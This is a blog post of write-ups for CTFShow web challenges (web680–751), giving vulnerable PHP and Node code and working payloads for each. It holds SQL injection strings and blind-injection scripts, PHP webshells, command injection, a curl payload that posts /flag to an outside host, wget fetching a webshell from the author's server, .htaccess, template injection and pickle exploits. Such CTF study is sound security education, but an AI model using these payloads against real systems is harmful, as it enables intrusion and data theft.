CTFShow-大赛原题改编(未完慢慢更)

web680

code=phpinfo();
在这里插入图片描述
很多函数被禁了,可以看看源码
code=copy('index.php','1.txt');

<?php
error_reporting(0);
$code = $_POST['code'];
eval($code);
?>
post code to run!

code=var_dump(scandir("."));
当前目录下有个 secret_you_never_know,直接访问拿到flag

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "1.txt" [3]=> string(9) "index.php" [4]=> string(21) "secret_you_never_know" } post code to run!

web681

随便输点什么都是一个页面,绿帽子无语
抓个包发现可以注入
在这里插入图片描述
但是注意这里会把输入的单引号直接换成空吞掉

payload
name = ||1#\
就相当于这个样子,构造闭合
select count(*) from ctfshow_users where username = '.....' || 1 #\'good job

在这里插入图片描述

web682

web683

       if(!is_numeric($_GET['秀'])){
          die('必须是数字');
       }else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
          die('你太短了');
       }else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
           die('你太长了');
       }else{
           sleep((int)$_GET['秀']);
           echo $flag;
sleep((int)$_GET['秀']);
可以用16进制绕,会被强转成 0
0x755000

web684 create_function()

之前做过类似的,web147

?action=%5ccreate_function&arg=}system("cat /secret_you_never_know");//

web685

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
关键是绕过正则传马
PHP 为了防止正则表达式的拒绝服务攻击,给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万
如果回溯次数超过了 100 万,preg_match 将不再返回非 10,而是直接 false。这样我们就可以绕过正则表达式了

import requests
url = "http://b83ed53b-14bc-4499-a75f-de56ae248803.challenge.ctf.show/"
files = {
    'file':  "<?php eval($_POST[1]);echo 'paidx0';?>"+'a' * 1000000
}
respone = requests.post(url=url,files=files)
for i in range(11):
    new_url = url+'data/{}.php'.format(i)
    new_respone = requests.get(new_url).text
    #print(new_respone)
    if 'paidx0' in new_respone:
        print(i)

web686(无参RCE)

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
正则的意思是多次匹配像这种格式的 a(b(c(d()))),
将他们替换成空,最后是 ;结尾的
姿势一 getallheaders()

前提是中间件要是Apache的才行,
在这里插入图片描述
返回一个数组,当前请求中所有的HTTP标头

所以如果我们在HTTP头中插入恶意代码,就可以从这个数组中提取出来
再HTTP头尾部插入shell: phpinfo();,用 end()来拿我们的最后一个值shell

所以如果把 var_dump 换成 eval 就可以执行phpinfo了
在这里插入图片描述

?exp=eval(end(getallheaders()));
姿势二 get_defined_vars()

在这里插入图片描述
它并不是获取的headers,而是获取的四个全局变量$_GET ,$_POST ,$_COOKIE ,$_FILES ,而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中,利用current() 或者 pos() 将这个数组取出

类比上面,我们同样可以用 end() 将最后一个变量值取出,然后直接 eval

?exp=eval(end(pos(get_defined_vars())));&shell=phpinfo();
姿势三 session_id()

将恶意代码写到Cookie 的 PHPSESSID中,然后利用session_id()去把他读出来,然后直接 eval
session_id()需要先开启session才能使用,所以要先session_start()
在这里插入图片描述
需要注意的是,PHPSESSID 只能是字母数字 - 所以我们可以先16进制编码再丢进去
在这里插入图片描述

?exp=eval(hex2bin(session_id(session_start())));

web687

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping  -c 1 ' . $target );
payload	:?ip=127.0.0.1%0acat /flaaag
%0a绕过过滤管道符

web688 escapeshellcmd()

$url=escapeshellarg($url);
$url=escapeshellcmd($url);
system("curl ".$url);
假设传入参数
127.0.0.1' -v -d a=1'

由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用
被 \' 分成两部分
'127.0.0.1' \' '-v -d a=1' \'

接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 进行转义处理
转义后的\\被解释成\,而不再是转义字符,形成单引号闭合
'127.0.0.1' \\ '' -v -d a=1'\\'

payload
?url=http://ip:port/' -F file=@/flag '

web689 ssrfme

if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
就是将 file_get_contents($file) 读出的内容写到 $path 中去

?file=http://127.0.0.1/?file=http://127.0.0.1/&path=<?php phpinfo();?>
返回值源码中插入了phpinfo(),我们最后只需把这个源码写到文件中就可以了在这里插入图片描述
?path=1.php&file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>
在这里插入图片描述

web690

    if ( !preg_match('/^\w+$/', $args[$i]) )
        exit("sorry");
}
exec('./ ' . implode(" ", $args));

传入数组中只能是字母数字下划线,最后通过 implode() 压缩数组成字符串执行

但是因为exec是不返回执行结果的,所以直接构造命令看回显就不现实,还是写一句话马上去吧

关于preg_match() 前面也说过,是可以用%0a 来绕过的,换行符可以分割命令,执行多条命令

vps上可以创建一个index.html,文件内容
<?php 
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>
为什么是html不是直接php呢,因为过程中文件内容会被解析,wget下载下来的内容就不是原始内容了

ip进制转换工具

args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制
等价于 exec(./1; mkdir a;cd a;wget 2130706433)
创建了一个a目录,并把index.html下载进去了

现在问题是怎么执行这个(.html)文件里的内容,这个点怎么处理掉
一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
等价于 exec(./1; tar cvf shell a)

a文件夹被打包成shell,执行php代码
args[]=1%0a&args[]=php&args[]=shell
等价于  exec(./1; php shell)

最后只需要访问index.html中代码生成的shell.php就可以了

web691

function filter($str){
      $filterlist = "/\(|\)|username|password|where|
      case|when|like|regexp|into|limit|=|for|;/";
      if(preg_match($filterlist,strtolower($str))){
        die("illegal input!");
        
$sql = "select * from admin where  username =
 '$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
  $row = $res -> fetch_assoc();
  if($row['id']){
     echo $row['username'];
  }
}else{

可以看见的是,过滤掉了一些关键字,然后是括号过滤掉了

判断出有3个列
username='|| 1 order by 3#&password=111

order by 的一个盲注小技巧

在这里插入图片描述
在这里插入图片描述
order by 进行排序,如果小于那就在第一列,如果大于就在后一列,所以可以盲注flag

import requests

s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://efa8df9c-daf3-42eb-bb86-53cf6669ae7d.challenge.ctf.show/"

k=''
for i in range(1,50):
	print(i)
	for j in s:
		data={
		'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
		'password':'1111'
	    }
		r=requests.post(url,data=data)
		print(data['username'])
		if("</code>admin" in r.text):
			k=k+chr(ord(j)-1)
			print(k)
			break

web692

$str = addslashes($_GET['option']);

$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);

file_put_contents('./config.php', $file);

先转义引号,然后将传入的内容用单引号包住又再次写入
比如传入
aaa; phpinfo();//
'aaa; phpinfo();//'
如果在读取一次会怎么样
\'aaa; phpinfo();//\'
'\'aaa; phpinfo();//\''
会发现 phpinfo(); 成功逃逸出单引号

在这里插入图片描述

payload

option=;eval($_POST[1]);//
option=%00

web693

$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters'; 
call_user_func($func,$_GET);
include($file);
    
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
  header('location:admin.php');
}

可以发现function可控,然后include包含$file,利用extract变量覆盖来包含出文件

?function=extract&file=php://filter/convert.base64-encode/resource=function.php
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php

//function.php
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
            die('Do not hack me!');
//admin.php
if(empty($_SESSION['name'])){
    session_start();
    echo 'hello ' + $_SESSION['name'];
}else{
    die('you must login with admin');
payload

?function=extract&file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMzYwXSk7
POST: 360=system('cat /flag');

web694

$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));

$content = $_POST['content'];

$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;

if($action=='ctfshow'){
    file_put_contents($path,$content);

意思就是将$content 写到$path 路径中
$path = ./ip/file

所以可以直接写马了

在这里插入图片描述

web695

如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。

router.post('/uploadfile', async (ctx, next) => {
  const file = ctx.request.body.files.file;
  if (!fs.existsSync(file.path)) {
    return ctx.body = "Error";
  }
  if(file.path.toString().search("/dev/fd") != -1){
    file.path="/dev/null"
  }
  const reader = fs.createReadStream(file.path);
  let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
  let filePath = path.join(__dirname, 'upload/') + fileId
  const upStream = fs.createWriteStream(filePath);
  reader.pipe(upStream)
  return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});


router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "no_such_file_~"
  }
});

在这里插入图片描述
在这里插入图片描述

payload

{"files": {"file":{"name":"paidx","path":"/etc/passwd"}}}

/etc/passwd 会被复制到 paidx文件里
只需要下载 paidx文件就拿到了/etc/passwd 里的数据

在 downloadfile/paidx 下载文件就行
在这里插入图片描述

web696

web697

在这里插入图片描述
首页是一片黑,源码发现参数,会判断 NOHO是大了还是小了
直接给一个数组,NULL == 0绕过了

来到下一个登录页,看源码,发现单引号中的内容好像是乱码耶,看了大佬的解答是被MD5给加密了
在这里插入图片描述

md5加密后的十六进制自带单引号的几个字符串

ffifdyop
e58
4611686052576742364

web698

web711

robos.txt中有提示信息 ctfshow_love_you
session_id 是jwt,尝试伪造
在这里插入图片描述
登录进去,flag在图片上

web712

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) !== 0) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

代码的意思简单点说就是删了又写又删
stristr 函数用换行绕过就可以
然后再利用.htaccess 包含自身

详细思路可以看看这几篇文章
Apache的.htaccess利用技巧
XNUCA2019 ez系列web题解
[XNUCA2019Qualifier]EasyPHP
XNUCA2019Qualifie

payload

php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[1])?> \

?filename=.htaccess&content=%70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%31%5d%29%3f%3e%20%5c

这题卡了很久,开始试的时候可以执行phpinfo(),我就在想直接反弹shell吧

但是不知道什么原因一直没弹出来,一直卡在这里又一直试,害

web713

web717

在这里插入图片描述
/*"+/*'*/i/+target.exploit//

web718

is_numeric($json["part1"])?die("nope"):NULL;
   if(@$json["part1"]){
       ($json["part1"]>2021)?$v1=1:NULL;
   }
//$json['part1']='2022a';

 if(is_array($json["part2"])){
       if(count($json["part2"])!==5 OR !is_array($json["part2"][0])) die("nope");
       $pos = array_search("show", $json["a2"]);
       $pos===false?die("nope"):NULL;
       foreach($json["part2"] as $key=>$val){
           $val==="show"?die("nope"):NULL;
       }
//$json['part2']=array('0'=>['1'],'1'=>'1','2'=>'1','3'=>'1','4'=>'1');
//$json['a2']=array('show');

if(@$c[1]){
   if(!strcmp($c[1],$d) && $c[1]!==$d){
       eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
       strpos(($c[0].$d), "ctfshow")?$v3=1:NULL;
   }
}
//strcmp可以用数组绕过
//eregi可以%00 给截断掉
//c[0]=aactfshow&c[1][]=a&d=%00a

web719

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
$sql="SELECT * FROM user WHERE user = '{$_POST['uname']}'";

if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "flag{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
查询出的 pwd 要等于传进来的 pwd,因为不知道 pwd是什么,就有了下面的 NULL=NULL的姿势

又学到了,羽师傅太骚了

uname=1}'||1 group by pass with rollup limit 1 offset 1#&pwd=

又学到了,offsetlimit 一样可以分页,加入with rollup后 password有一行为NULL,

只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']的限制成功登陆。

web720

比较简单,直接数组就行,和MD5比较是一样的
name[]=1&password[]=2

web721

web722

foreach ($_GET as $key => $value)
            $$key = $$value;
          foreach ($_POST as $key => $value)
            $$key = $value;
          if ( $_POST["flag"] !== $flag )
            die($fail);
          echo "This is your flag : ". $flag . "\n";
          die($success);

GET :success=flag POST flag=

web723

password=||1=1#&username=123\

select * from user where username='123\' and password='||1=1#'

web724

eval('$code="'.addslashes($value).'";');

value=${system(ls)}

eval($code="${system(ls)}";)

双引号中${ } 内容会被解析

web725

update注入

$sql = "UPDATE `{$table}` SET `user`='ctfshow' WHERE id=1";
table_name=user` SET user=1 or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database() ),0x7e))#&username=1

//ctfshow_secret

table_name=user` SET user=1 or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=0x63746673686f775f736563726574),0x7e))#&username=1

//secret

table_name=user` SET user=1 or extractvalue(1,concat(0x7e,(select right(secret,25) from ctfshow_secret),0x7e))#&username=1

web726

        $file = file_get_contents('config.php');
        $file = preg_replace('|\$db=\'.*\';|', "\$db='$username';", $file);
        file_put_contents('config.php', $file);

同web692
两次匹配写入达到逃出单引号的目的,第二次%00匹配返回整个字符串,引号闭合逃出

username=;eval($_POST[1]);phpinfo();//

username=%00
在这里插入图片描述

web727

web728

$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("hack!");
payload

assert("strpos('',phpinfo());//,abc")

code=',system('tac t*/f*'));//
也就是
assert("strpos('',system('tac t*/f*'));//', '..') === false")

web729

$flag_input = $_POST['flag'];
              if((strcmp(flag_input,$flag)))
              {
                die("flag不正确");
              }
              $_p = 6543;
              $_l = 21;
              $l = strlen($_GET['secret']);
              $_i = intval($_GET['secret']);
              if($l !== $_l || $_i !== $_p)
              {
                die("系统异常");
              }
              echo "< !--$flag-- >";
secret=6543.0000000000000000
flag[]=1

web730

web731

$hash = sha1($_GET['hash']);
              $target = sha1(10932435112);
              if($hash == $target) {
                  include('flag.php');
                  print $flag;

在这里插入图片描述
0e开头,就像MD5那个比较一样,字符串作为比较时会科学计数法,也就是 0

aaroZmOk

web732

var _0x575c = ['2-4', 'substring', '4-7', 'getItem', 'deleteItem', '12-14', '0-2', 'setItem', '9-12', '^7M', 'updateItem', 'bb=', '7-9', '14-16', 'localStorage', ];
(function(_0x4f0aae, _0x575cf8) {
    var _0x51eea2 = function(_0x180eeb) {
        while (--_0x180eeb) {
            _0x4f0aae['push'](_0x4f0aae['shift']());
        }
    };
    _0x51eea2(++_0x575cf8);
}(_0x575c, 0x78));
var _0x51ee = function(_0x4f0aae, _0x575cf8) {
    _0x4f0aae = _0x4f0aae - 0x0;
    var _0x51eea2 = _0x575c[_0x4f0aae];
    return _0x51eea2;
};
function CheckPassword(_0x47df21) {
    var _0x4bbdc3 = [_0x51ee('0xe'), _0x51ee('0x3'), _0x51ee('0x7'), _0x51ee('0x4'), _0x51ee('0xa')];
    window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12', 'BE*');
    window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'), _0x51ee('0xb'));
    window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x6'), '5W');
    window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16', _0x51ee('0x9'));
    window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x5'), 'pg');
    window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9', '+n');
    window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0xd'), '4t');
    window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x0'), '$F');
    if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8')) === _0x47df21[_0x51ee('0x1')](0x9, 0xc)) {
        if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2')) === _0x47df21['substring'](0x4, 0x7)) {
            if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x6')) === _0x47df21[_0x51ee('0x1')](0x0, 0x2)) {
                if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]]('16') === _0x47df21[_0x51ee('0x1')](0x10)) {
                    if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x5')) === _0x47df21[_0x51ee('0x1')](0xc, 0xe)) {
                        if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xc')) === _0x47df21[_0x51ee('0x1')](0x7, 0x9)) {
                            if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xd')) === _0x47df21[_0x51ee('0x1')](0xe, 0x10)) {
                                if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x0')) === _0x47df21[_0x51ee('0x1')](0x2, 0x4))
                                    return !![];
 return ![];
}

不会 js,看不太懂,直接放答案了

CSICTF2020

web733

index.php.txt

	try{
		$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
		$g = $perm->is_guest();
		$a = $perm->is_admin();
	}
	catch(Error $e){
		die("閴存潈澶辫触 ".$perm);
	}
	
class.php.txt

<?php
class permissions
{
	public $username;
	public $password;
	function __construct($u, $p) {
		$this->username = $u;
		$this->password = $p;
	}
	function __toString() {
		return $u.$p;
	}
	function is_guest() {
		$guest = false;
		$con = new SQLite3("../users.db");
		$username = $this->username;
		$password = $this->password;
		$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
		$stm->bindValue(1, $username, SQLITE3_TEXT);
		$stm->bindValue(2, $password, SQLITE3_TEXT);
		$res = $stm->execute();
		$rest = $res->fetchArray();
		if($rest["username"]) {
			if ($rest["admin"] != 1) {
				$guest = true;
			}
		}
		return $guest;
	}
	function is_admin() {
		$admin = false;
		$con = new SQLite3("../users.db");
		$username = $this->username;
		$password = $this->password;
		$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
		$stm->bindValue(1, $username, SQLITE3_TEXT);
		$stm->bindValue(2, $password, SQLITE3_TEXT);
		$res = $stm->execute();
		$rest = $res->fetchArray();
		if($rest["username"]) {
			if ($rest["admin"] == 1) {
				$admin = true;
			}
		}
		return $admin;
	}
}
class access_log
{
	public $log_file;
	function __construct($lf) {
		$this->log_file = $lf;
	}
	function __toString() {
		return $this->read_log();
	}
	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}
	function read_log() {
		return file_get_contents($this->log_file);
	}
}

这道题有一些迷惑的地方,先是这个类permissions仔细看其实没可以利用的地方,

然后就是这个类access_log,有一个读一个写,但是写的话没有可以调用的地方,所以考虑读方法。

<?php
class access_log
{
    public $log_file;
    function __construct() {
        $this->log_file = 'flag.php';
    }
}
$a = new access_log();
echo urlencode(base64_encode(serialize($a)));

//TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo4OiJmbGFnLnBocCI7fQ%3D%3D

讲一下怎么就会触发__toString()这个方法呢,其实也很简单。

就是 try 的过程反序列化后会调用$g = $perm->is_guest();$a = $perm->is_admin();
然后就触发了catch接收到异常,die()字符串拼接$perm反序列化生成的类,这个时候就触发了__toString()

web734

if ((A.length !== B.length) || (A === B))
                return res.send("A和B的值不能相同")
              A = md5(secret_key + A)
              B = md5(secret_key + B)
              if (A == B)
                return res.send(flag)

web735

在这里插入图片描述

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
被过滤了 " _ .
Your nickname contains restricted characters!

前面也做到过,. 被过滤了可以用attr过滤器绕过
_ 可以16进制,双引号 " 的话就用单引号 ' 就好了

{{(config|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f"))["os"]|attr("popen")("cat c*")|attr("read")()}}

web736

web743

 if($a != $b && md5($a) == md5($b))
       {
          if ($c != $d && sha1($c) == sha1($d)) 
       {
     echo $flag;

数组绕过

web744

<?php
class ctfshowCURL{
  private $url="file:///var/www/html/flag%2ephp";
  private $method="send";

}
echo urlencode(serialize(new ctfshowCURL()));

web745

在这里插入图片描述

web746

web747

 $command = "bash -c 'echo " . $_POST['data'] . "'";
data=`ls ../`
data=`< ../flag.txt`

web748

提示是pickle,也就是python的那个序列化,在cookie那里应该就是序列化字段,所以构造去反序列化

import base64
import pickle

class exp(object):
   def __reduce__(self):
       cmd = 'cat /app/flag.txt'
       return __import__('os').popen, (cmd,)

e = exp()
s = pickle.dumps(e)
print(base64.b64encode(s))
#gASVKAAAAAAAAACMAm9zlIwFcG9wZW6Uk5SMEWNhdCAvYXBwL2ZsYWcudHh0lIWUUpQu

在这里插入图片描述

web749

web750

取反异或就行

phpinfo()
?formula=((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();
system("cat /flag.txt")
?formula=(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%9e%98%d1%8b%87%8b)

web751


  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值